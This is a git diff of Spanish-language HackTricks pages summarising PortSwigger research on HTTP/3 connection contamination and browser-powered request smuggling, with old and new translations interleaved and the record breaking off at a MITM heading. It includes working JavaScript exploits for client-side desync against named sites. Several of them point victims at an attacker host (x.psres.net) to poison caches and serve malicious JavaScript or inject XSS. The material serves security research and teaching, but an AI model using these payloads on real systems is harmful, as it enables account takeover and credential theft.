* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
**El contenido de este post fue tomado de** [**https://portswigger.net/research/http-3-connection-contamination**](https://portswigger.net/research/http-3-connection-contamination)\*\*\*\*
|
||||
**Este es un resumen del post: [https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**. ¡Consultalo para más detalles!
|
||||
|
||||
Los navegadores web utilizan la [**coalescencia de conexión HTTP**](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), lo que les permite **reutilizar** una única **conexión HTTP/2+** para solicitudes que van a **diferentes sitios web**, siempre y cuando los sitios **se resuelvan a la misma dirección IP** y utilicen un certificado TLS válido para ambos nombres de host.
|
||||
Los navegadores web pueden reutilizar una única conexión HTTP/2+ para diferentes sitios web a través de la [coalescencia de conexiones HTTP](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), dado un IP compartido y un certificado TLS común. Sin embargo, esto puede entrar en conflicto con el **enrutamiento de primera solicitud** en reverse-proxies, donde las solicitudes posteriores son dirigidas al back-end determinado por la primera solicitud. Este enrutamiento erróneo puede llevar a vulnerabilidades de seguridad, especialmente cuando se combina con certificados TLS comodín y dominios como `*.example.com`.
|
||||
|
||||
El **enrutamiento de la primera solicitud** es un comportamiento peligroso de proxy inverso donde el **proxy analiza la primera solicitud** en una conexión para averiguar a **qué extremo de back-end** dirigirla, y luego **envía** todas las **solicitudes posteriores** en esa conexión al **mismo extremo de back-end**.
|
||||
Por ejemplo, si `wordpress.example.com` y `secure.example.com` son servidos por el mismo reverse proxy y tienen un certificado comodín común, la coalescencia de conexión del navegador podría llevar a que las solicitudes a `secure.example.com` sean procesadas incorrectamente por el back-end de WordPress, explotando vulnerabilidades como XSS.
|
||||
|
||||
**La coalescencia de conexiones y el enrutamiento de la primera solicitud no funcionan bien juntos**. Por ejemplo, imagina que secure.example.com y wordpress.example.com están detrás de un proxy inverso que utiliza un certificado válido para \*.example.com:
|
||||
```shell-session
|
||||
$ nslookup wordpress.example.com
|
||||
52.16.179.7 // reverse proxy that supports HTTP/2 and does first-request routing
|
||||
|
||||
$ nslookup secure.example.com
|
||||
52.16.179.7 // same reverse proxy
|
||||
|
||||
$ openssl s_client -connect x.portswigger-labs.net:443
|
||||
subject=/CN=*.example.com // wildcard TLS certificate
|
||||
```
|
||||
Si un navegador intenta enviar una solicitud a **wordpress.example.com** seguido de **secure.example.com**, la combinación de conexiones del navegador forzará **ambas solicitudes en una sola conexión** al front-end. El enrutamiento de la primera solicitud resultará en que la **solicitud a secure.example.com sea incorrectamente enrutada al back-end de WordPress**. Esto significa que si encuentras [XSS](https://portswigger.net/web-security/cross-site-scripting) en wordpress.example.com, ¡puedes usarlo para comprometer secure.example.com!
|
||||
```javascript
|
||||
// create HTTP/2+ connection
|
||||
fetch('https://wordpress.example.com/', {credentials: 'include'})
|
||||
|
||||
// connection coalescing will force this down the same connection...
|
||||
// ...leading to the front-end misrouting it to WordPress
|
||||
// the browser thinks our injected JS is coming from secure.example.com
|
||||
// exposing saved passwords, cookies, etc.
|
||||
location='https://secure.example.com/plugin/x?q=<script>stealPasswords()'
|
||||
```
|
||||
Puedes **explorar la coalescencia de conexiones por ti mismo** utilizando el **gráfico de tiempos en la pestaña de Red de las herramientas de desarrollo de Chrome** (o utilizando WireShark si eres un masoquista). Emite pares de solicitudes utilizando fetch() y observa si el gráfico muestra tiempo invertido en 'Conexión inicial' para la segunda solicitud, y si la columna de ID de conexión coincide:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Para observar la coalescencia de conexiones, se pueden utilizar la pestaña de Red de Chrome o herramientas como WireShark. Aquí tienes un fragmento para realizar pruebas:
|
||||
```javascript
|
||||
fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=>{ fetch('//sub2.hackxor.net/', {mode: 'no-cors', credentials: 'include'}) })
|
||||
```
|
||||
{% endcode %}
|
||||
El riesgo actual está limitado debido a la rareza del enrutamiento de la primera solicitud y la complejidad de HTTP/2. Sin embargo, los cambios propuestos en HTTP/3, que relajan el requisito de coincidencia de direcciones IP, podrían ampliar la superficie de ataque, haciendo que los servidores con un certificado comodín sean más vulnerables sin necesidad de un ataque MITM.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
No he invertido el tiempo necesario para explorar esta amenaza en profundidad o buscarla en la naturaleza, ya que creo que actualmente es rara por dos razones. En primer lugar, el enrutamiento de la primera solicitud es relativamente poco común y la complejidad de la implementación de HTTP/2 significa que solo hay un pequeño conjunto de servidores HTTP/2 únicos en comparación con HTTP/1.1. En segundo lugar, la coalescencia de conexiones significa que los servidores HTTP/2 que realizan el enrutamiento de la primera solicitud pueden interrumpirse intermitentemente para los visitantes genuinos, por lo que los propietarios pueden terminar solucionando la vulnerabilidad sin necesidad de que el atacante lo aliente.
|
||||
|
||||
Dicho esto, no todo son malas noticias para los atacantes. **HTTP/3 propone** [**eliminar el requisito de una coincidencia de dirección IP**](https://www.rfc-editor.org/rfc/rfc9114.html#name-connection-reuse)**, lo que expondrá a todos aquellos que tengan un front-end que use el enrutamiento de la primera solicitud y tenga un certificado válido para varios hosts**.
|
||||
|
||||
Esto también crea un segundo riesgo que no está relacionado con el enrutamiento de la primera solicitud: significa que un **servidor comprometido con un certificado comodín ya no requiere un MITM para explotarlo**. En efecto, esto aumenta enormemente el conjunto de actores malintencionados que podrían beneficiarse de ello.
|
||||
|
||||
Para evitar estos riesgos antes de que se conviertan en una realidad, asegúrese de que sus proxies inversos no realicen el enrutamiento de la primera solicitud. Puede probar esto manualmente en Repeater habilitando la reutilización de conexiones HTTP/1 y HTTP/2, y también buscarlo utilizando el ataque 'Connection-State' en [HTTP Request Smuggler](https://github.com/PortSwigger/http-request-smuggler). Además, tenga en cuenta que si bien los certificados TLS comodín nunca han sido ideales, HTTP/3 significa que un servidor comprometido con un certificado comodín ahora se puede utilizar para atacar dominios hermanos sin un MITM activo.
|
||||
|
||||
Estas nuevas amenazas continúan la tendencia actual de que la infraestructura web se convierta en un enredo muy entrelazado donde una debilidad en cualquier sitio individual tiene numerosos efectos secundarios no obvios en la seguridad del sistema en general. Será interesante ver cómo se desarrollan estos riesgos en la práctica.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
Las mejores prácticas incluyen evitar el enrutamiento de la primera solicitud en proxies inversos y ser cautelosos con los certificados TLS comodín, especialmente con la llegada de HTTP/3. Las pruebas regulares y la conciencia de estas vulnerabilidades complejas e interconectadas son cruciales para mantener la seguridad web.
|
||||
|
|
|
@ -1,317 +1,31 @@
|
|||
# Browser HTTP Request Smuggling
|
||||
# Smuggling de Solicitudes HTTP en Navegadores
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
## Desincronización compatible con navegadores CL.0/H2.0
|
||||
|
||||
Esta vulnerabilidad ocurre cuando el encabezado **Content Length** (CL) es completamente **ignorado** por el **servidor backend**. Entonces, el backend trata el **cuerpo** como el **inicio del método de la segunda solicitud**. Ignorar el CL es equivalente a tratarlo como si tuviera un valor de 0, por lo que esto es una desincronización CL.0 - una clase de ataque [conocida](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf) pero menos explorada.
|
||||
|
||||
![](<../../.gitbook/assets/image (3) (1) (2).png>)
|
||||
|
||||
El ataque fue posible porque el servidor backend simplemente **no esperaba una solicitud POST**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que esta vulnerabilidad se **activa** por una solicitud HTTP **completamente válida** y conforme a la especificación. Esto significa que el **frontend no tiene ninguna posibilidad de protegerse** contra ella, e incluso podría ser activada por un navegador.
|
||||
{% endhint %}
|
||||
|
||||
La única **diferencia** entre **CL.0** y **H2.0** es que el segundo está utilizando **HTTP2** (que tiene un encabezado de longitud de contenido implícito) pero el **backend tampoco está utilizando eso**.
|
||||
|
||||
## Desincronización del Lado del Cliente
|
||||
|
||||
Los ataques de desincronización tradicionales **envenenan** la **conexión** entre un servidor **frontend y backend**, y por lo tanto son imposibles en sitios web que no utilizan una arquitectura frontend/backend. A estos los llamaremos **desincronización del lado del servidor** de ahora en adelante. La mayoría de las **desincronizaciones del lado del servidor** solo pueden ser activadas por un **cliente HTTP personalizado que emite una solicitud malformada.**
|
||||
|
||||
La capacidad de un **navegador para causar una desincronización** habilita una nueva clase de amenaza llamada **desincronización del lado del cliente** (CSD).\
|
||||
Un ataque CSD comienza con la **víctima visitando el sitio web del atacante**, lo que luego hace que su navegador envíe **dos solicitudes entre dominios al sitio web vulnerable**. La **primera** solicitud está diseñada para **desincronizar la conexión del navegador** y hacer que la **segunda solicitud active** una respuesta perjudicial, típicamente dando al atacante el control de la cuenta de la víctima.
|
||||
|
||||
### Detectar
|
||||
|
||||
Un vector CSD es una solicitud HTTP con **dos propiedades clave**.
|
||||
|
||||
Primero, el **servidor debe ignorar el Content-Length (CL) de la solicitud**. Esto típicamente ocurre porque la solicitud **activó un error del servidor**, o el servidor simplemente **no esperaba una solicitud POST** al endpoint elegido. Intenta apuntar a **archivos estáticos** y **redirecciones a nivel de servidor**, y activar errores a través de **URLs demasiado largas**, y unas **semi-malformadas** como /%2e%2e.
|
||||
|
||||
En segundo lugar, la solicitud debe ser **activable en un navegador web entre dominios**. Los navegadores restringen severamente el control sobre las solicitudes entre dominios, por lo que tienes un control limitado sobre los encabezados, y si tu solicitud tiene un cuerpo necesitarás usar el método HTTP POST. En última instancia, solo **controlas** la **URL**, además de algunos detalles como el encabezado **Referer**, el **cuerpo**, y la **parte final del Content-Type.**
|
||||
|
||||
#### Pruebas de ignorancia de CL
|
||||
|
||||
La forma de probar esta mala configuración es **enviar 2 solicitudes y contrabandear una** en el **medio**. Si la conexión **contrabandeada** **afectó** la respuesta de la **segunda solicitud**, significa que es **vulnerable**:
|
||||
|
||||
![](<../../.gitbook/assets/image (1) (2) (2) (1).png>)
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que **no puedes** probar esta vulnerabilidad simplemente enviando un **Content-Length más grande** que el enviado y **buscando un tiempo de espera** porque algunos servidores **responden** incluso si **no recibieron todo el cuerpo**.
|
||||
{% endhint %}
|
||||
|
||||
Es importante notar si el **sitio web objetivo soporta HTTP**/2. Los ataques CSD típicamente explotan la reutilización de conexiones HTTP/1.1 y los **navegadores prefieren usar HTTP/2** siempre que sea posible, así que si el sitio web objetivo **soporta HTTP/2 es poco probable que tus ataques funcionen**. Hay una **excepción**; algunos **proxies de reenvío no soportan HTTP/2** por lo que puedes explotar a cualquiera que los use. Esto incluye proxies corporativos, ciertas VPNs intrusivas e incluso algunas herramientas de seguridad.
|
||||
|
||||
### Confirmar
|
||||
|
||||
Primero, selecciona un sitio desde el cual lanzar el ataque. Este sitio debe ser **accedido a través de HTTPS** y ubicado en un **dominio diferente al objetivo**.
|
||||
|
||||
Luego, asegúrate de que **no tienes un proxy configurado**, y navega a tu sitio de ataque. Abre las **herramientas de desarrollador** y cambia a la pestaña **Red**. Para ayudar con la depuración de problemas potenciales más tarde, recomiendo hacer los siguientes ajustes:
|
||||
|
||||
* Selecciona la casilla **"Preservar registro"**.
|
||||
* Haz clic derecho en los encabezados de las columnas y **activa la columna "ID de Conexión"**.
|
||||
|
||||
Cambia a la consola de desarrollador y ejecuta JavaScript para replicar tu secuencia de ataque usando fetch(). Esto puede verse algo así como:
|
||||
```javascript
|
||||
fetch('https://example.com/', {
|
||||
method: 'POST',
|
||||
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
|
||||
mode: 'no-cors', // ensure connection ID is visible
|
||||
credentials: 'include' // poison 'with-cookies' pool
|
||||
}).then(() => {
|
||||
location = 'https://example.com/' // use the poisoned connection
|
||||
})
|
||||
```
|
||||
### Explotación - Almacenar
|
||||
|
||||
Una opción es identificar funcionalidades en el sitio objetivo que permitan **almacenar datos de texto**, y diseñar el prefijo de manera que las cookies de tu víctima, cabeceras de autenticación o contraseñas terminen siendo **almacenadas en algún lugar de donde puedas recuperarlas**. Este flujo de ataque funciona [casi idénticamente al contrabando de solicitudes del lado del servidor](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests), así que no me extenderé en ello.
|
||||
|
||||
### Explotación - **Cadena y pivote**
|
||||
|
||||
Bajo circunstancias normales, muchas clases de **ataques del lado del servidor** solo pueden ser lanzadas por un atacante con acceso directo al sitio objetivo ya que **dependen de solicitudes HTTP que los navegadores se niegan a enviar**, como **manipular** las **cabeceras HTTP** - envenenamiento de caché web, la mayoría del contrabando de solicitudes del lado del servidor, ataques de cabecera de host, User-Agent basado en [SQLi](https://portswigger.net/web-security/sql-injection), CSRF JSON Content-type y muchos otros.
|
||||
|
||||
El camino más simple hacia un ataque exitoso provino de dos técnicas clave usualmente usadas para ataques de desincronización del lado del servidor: [**envenenamiento de recursos JavaScript a través de redirecciones de cabecera de Host**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect), y usar el [**método HEAD**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head) para unir una respuesta con HTML perjudicial. Ambas técnicas necesitaban ser **adaptadas** para superar algunos desafíos novedosos asociados con operar en el **navegador de la víctima**.
|
||||
|
||||
## Ejemplos de Explotación
|
||||
|
||||
### Ejemplo de HEAD apilado
|
||||
|
||||
* **Explotación coloreada**
|
||||
|
||||
![](<../../.gitbook/assets/image (2) (3).png>)
|
||||
|
||||
* **Explotación JS**
|
||||
```javascript
|
||||
fetch('https://www.capitalone.ca/assets', {
|
||||
method: 'POST',
|
||||
// use a cache-buster to delay the response
|
||||
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
|
||||
credentials: 'include',
|
||||
mode: 'cors' // throw an error instead of following redirect
|
||||
}).catch(() => {
|
||||
location = 'https://www.capitalone.ca/'
|
||||
})va
|
||||
```
|
||||
Explicación:
|
||||
|
||||
* **Abuso de CL.0** en /assets (se redirige a /assets/ y no verifica el CL)
|
||||
* **Contrabandear** una solicitud **HEAD** (porque las respuestas HEAD aún contienen un content-length)
|
||||
* **Contrabandear** una solicitud **GET** cuyo **contenido** va a ser **reflejado** en la respuesta con el payload.
|
||||
* Debido al **content-length del HEAD** req, la **respuesta** de esta solicitud será el **cuerpo del HEAD req**
|
||||
* Establecer **modo cors**. Normalmente esto no se hace, pero en este caso la **respuesta** del servidor al **POST** **inicial** es una **redirección** que si se **sigue** el **exploit no funcionará**. Por lo tanto, se utiliza el **modo cors** para **desencadenar** un **error** y **redirigir** a la víctima con el **`catch`**.
|
||||
|
||||
### **Redirección del encabezado Host + envenenamiento de caché del lado del cliente**
|
||||
|
||||
* **Exploit JS**
|
||||
```javascript
|
||||
fetch('https://redacted/', {
|
||||
method: 'POST',
|
||||
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
|
||||
credentials: 'include'}
|
||||
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
|
||||
```
|
||||
* Una solicitud a `/+webvpn+/` con un **dominio diferente en el encabezado Host** se responde con un **redireccionamiento** a `/+webvpn+/index.html` hacia ese **dominio** dentro del encabezado Host.
|
||||
* La ubicación en la **segunda** solicitud se establece en `/+CSCOE+/win.js` para **envenenar** la **caché** de ese archivo `.js`.
|
||||
* Esta solicitud se responderá con el redireccionamiento de `/+webvpn+/` al dominio del atacante con la ruta `/+webvpn+/index.html`
|
||||
* La **caché** de **`win.js`** será **envenenada** con un **redireccionamiento** a la página del **atacante**, pero también la **víctima** **seguirá** el redireccionamiento ya que fue asignado en la variable `location` y terminará en la página web del atacante.
|
||||
* El atacante luego **redireccionará** a la **víctima** a `https://redacted/+CSCOE+/logon.html`. Esta página importará `/+CSCOE+/win.js`. Cuya **caché es un redireccionamiento** al servidor del **atacante**, por lo tanto, el atacante puede **responder con un JS malicioso**.
|
||||
|
||||
La **víctima** **accederá** a la página del **atacante** **dos veces**, la primera espera un HTML que redirija a la víctima de vuelta a `https://redacted/+CSCOE+/logon.html` y la segunda espera código javascript (el payload). Un políglota puede usarse para servir ambas respuestas en una sola:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
|
||||
alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/
|
||||
```
|
||||
### Carga útil HEAD con TE fragmentado
|
||||
|
||||
Al buscar CSD también puedes **probar URLs semi-malformadas** como `/..%2f` o `/%2f`.
|
||||
|
||||
* **Explotación Coloreada**
|
||||
|
||||
![](<../../.gitbook/assets/image (5) (2) (1).png>)
|
||||
|
||||
* **Explotación JS**
|
||||
```javascript
|
||||
fetch('https://www.verisign.com/%2f', {
|
||||
method: 'POST',
|
||||
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
|
||||
credentials: 'include',
|
||||
headers: {'Content-Type': 'application/x-www-form-urlencoded'
|
||||
}}).catch(() => {
|
||||
let form = document.createElement('form')
|
||||
form.method = 'POST'
|
||||
form.action = 'https://www.verisign.com/robots.txt'
|
||||
form.enctype = 'text/plain'
|
||||
let input = document.createElement('input')
|
||||
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
|
||||
input.value = ''
|
||||
form.appendChild(input)
|
||||
document.body.appendChild(form)
|
||||
form.submit()
|
||||
}
|
||||
```
|
||||
* La página **`/%2f`** se accede para **explotar** la vulnerabilidad **CL.0**.
|
||||
* Se realiza un contrabando de una solicitud **HEAD** utilizando un **`Transfer-Encoding: chunked` header**.
|
||||
* Este encabezado es necesario en este escenario porque de lo contrario el **servidor se negaba a aceptar una solicitud HEAD con cuerpo**.
|
||||
* Luego, el usuario envía un POST cuyo cuerpo contiene el **final del chunk de la solicitud HEAD anterior** y una **nueva solicitud que se contrabandea** con **contenido** (el payload de JS) que se **reflejará** en la respuesta.
|
||||
* Por lo tanto, el navegador tratará la **respuesta a la solicitud HEAD** como la **respuesta a la solicitud POST**, la cual también **contendrá** en la **respuesta del cuerpo** que **refleja** la **entrada** del usuario en la segunda solicitud contrabandeada.
|
||||
|
||||
### Redirección del encabezado Host + RC
|
||||
|
||||
* **JS Exploit**
|
||||
```html
|
||||
<script>
|
||||
function reset() {
|
||||
fetch('https://vpn.redacted/robots.txt',
|
||||
{mode: 'no-cors', credentials: 'include'}
|
||||
).then(() => {
|
||||
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
|
||||
})
|
||||
setTimeout(poison, 120) // worked on 140. went down to 110
|
||||
}
|
||||
|
||||
function poison(){
|
||||
sendPoison()
|
||||
sendPoison()
|
||||
sendPoison()
|
||||
setTimeout(reset, 1000)
|
||||
}
|
||||
|
||||
function sendPoison(){
|
||||
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
|
||||
{
|
||||
method: 'POST',
|
||||
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
|
||||
mode: 'no-cors',
|
||||
credentials: 'include'
|
||||
}
|
||||
)
|
||||
}
|
||||
|
||||
</script>
|
||||
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>
|
||||
```
|
||||
En este caso, nuevamente, hay un **host header** **redirect** que podría usarse para **hijack** una importación de **JS**. Sin embargo, esta vez el **redirect no es cacheable**, por lo que el envenenamiento del **cache** del lado del cliente no es una opción.
|
||||
|
||||
Por lo tanto, el ataque realizado hará que el **víctima acceda a la página vulnerable** en una pestaña y luego, justo **antes** de que la página intente **cargar un archivo JS**, **envenenar** el socket **smuggling connections** (3 en este caso).\
|
||||
Debido a que el **timing** debe ser extremadamente **preciso**, el ataque se realiza contra una **nueva pestaña en cada iteración** hasta que funcione.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que en este caso se atacó `/meeting_testjs.cgi` porque **carga** un **Javascript** que responde con un **404**, por lo que no está en caché. En otros escenarios donde intentes atacar un **JS que está en caché** necesitas esperar a que **desaparezca del caché** antes de lanzar un nuevo ataque.
|
||||
{% endhint %}
|
||||
|
||||
Pasos resumidos:
|
||||
|
||||
* Abrir una nueva ventana.
|
||||
* Emitir una solicitud inofensiva al objetivo para establecer una conexión nueva, haciendo que los tiempos sean más consistentes.
|
||||
* Navegar la ventana a la página objetivo en /meeting\_testjs.cgi.
|
||||
* 120 ms después, crear tres conexiones envenenadas utilizando el gadget de redirección.
|
||||
* 5 ms después, mientras se renderiza /meeting\_testjs.cgi, la víctima intentará, con suerte, importar /appletRedirect.js y ser redirigida a x.psres.net, que sirve JS malicioso.
|
||||
* Si no, reintentar el ataque.
|
||||
|
||||
## Desincronización basada en pausa <a href="#pause" id="pause"></a>
|
||||
|
||||
Pausar también puede crear nuevas vulnerabilidades de desincronización al **activar implementaciones erróneas de tiempo de espera de solicitud**.
|
||||
|
||||
Entonces, un atacante podría enviar una solicitud con **encabezados que indican que hay un cuerpo**, y luego **esperar** a que el **front-end agote el tiempo de espera antes de enviar el cuerpo**. Si el front-end agota el tiempo pero **deja la conexión abierta**, el **cuerpo** de esa solicitud será **tratado como una nueva solicitud**.
|
||||
|
||||
### Ejemplo: **Varnish**
|
||||
|
||||
Varnish cache tiene una característica llamada `synth()`, que te permite emitir una **respuesta sin reenviar** la solicitud al back-end. Aquí hay un ejemplo de regla que se utiliza para bloquear el acceso a una carpeta:
|
||||
```javascript
|
||||
if (req.url ~ "^/admin") {
|
||||
return (synth(403, "Forbidden"));
|
||||
}
|
||||
```
|
||||
Al procesar una **solicitud parcial** que coincide con una regla sintética, Varnish **se agotará el tiempo** si no recibe datos durante **15 segundos**. Cuando esto sucede, **deja la conexión abierta** para su reutilización aunque solo haya leído la mitad de la solicitud del socket. Esto significa que si el **cliente continúa con la segunda mitad** de la solicitud HTTP, será interpretada como una **solicitud nueva**.
|
||||
|
||||
Para desencadenar un desincronización basada en pausa en un front-end vulnerable, comienza enviando tus encabezados, prometiendo un cuerpo, y luego espera. Eventualmente recibirás una respuesta y cuando finalmente envíes el cuerpo de tu solicitud, será interpretado como una nueva solicitud:
|
||||
|
||||
![](<../../.gitbook/assets/image (4) (3) (1).png>)
|
||||
|
||||
{% hint style="warning" %}
|
||||
Aparentemente esto fue parcheado el 25 de enero como [CVE-2022-23959](https://varnish-cache.org/security/VSV00008.html).
|
||||
{% endhint %}
|
||||
|
||||
### Ejemplo: **Apache**
|
||||
|
||||
Al igual que Varnish, es vulnerable en **puntos finales donde el servidor genera la respuesta por sí mismo** en lugar de permitir que la aplicación maneje la solicitud. Una forma en que esto sucede es con redirecciones a nivel de servidor: `Redirect 301 / /en`
|
||||
|
||||
### Explotación del lado del servidor <a href="#server" id="server"></a>
|
||||
|
||||
Si el servidor vulnerable (Apache o Varnish en este caso) está en el back-end, se necesita un **front-end** que **transmita la solicitud al servidor back-end** (encabezados http en este caso) **sin almacenar en búfer** todo el cuerpo de la solicitud.
|
||||
|
||||
![](<../../.gitbook/assets/image (3) (3).png>)
|
||||
|
||||
En este caso, el atacante **no recibirá el tiempo de espera de la respuesta hasta que haya enviado el cuerpo**. Pero si conoce el tiempo de espera, esto no debería ser un problema.
|
||||
|
||||
El Balanceador de Carga de Aplicaciones (ALB) de Amazon **transmitirá los datos de la conexión según sea necesario**, pero si **recibe** la **respuesta** a la media solicitud (el tiempo de espera) **antes** de recibir el **cuerpo**, **no enviará el cuerpo**, por lo que se debe explotar una **Condición de Carrera** aquí:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Hay una complicación adicional cuando se trata de **explotar Apache detrás de ALB** - **ambos servidores** tienen un **tiempo de espera predeterminado de 60 segundos**. Esto deja una **ventana de tiempo extremadamente pequeña** para enviar la segunda parte de la solicitud. El ataque de Condición de Carrera fue finalmente exitoso después de 66 horas.
|
||||
|
||||
### Explotación MITM
|
||||
|
||||
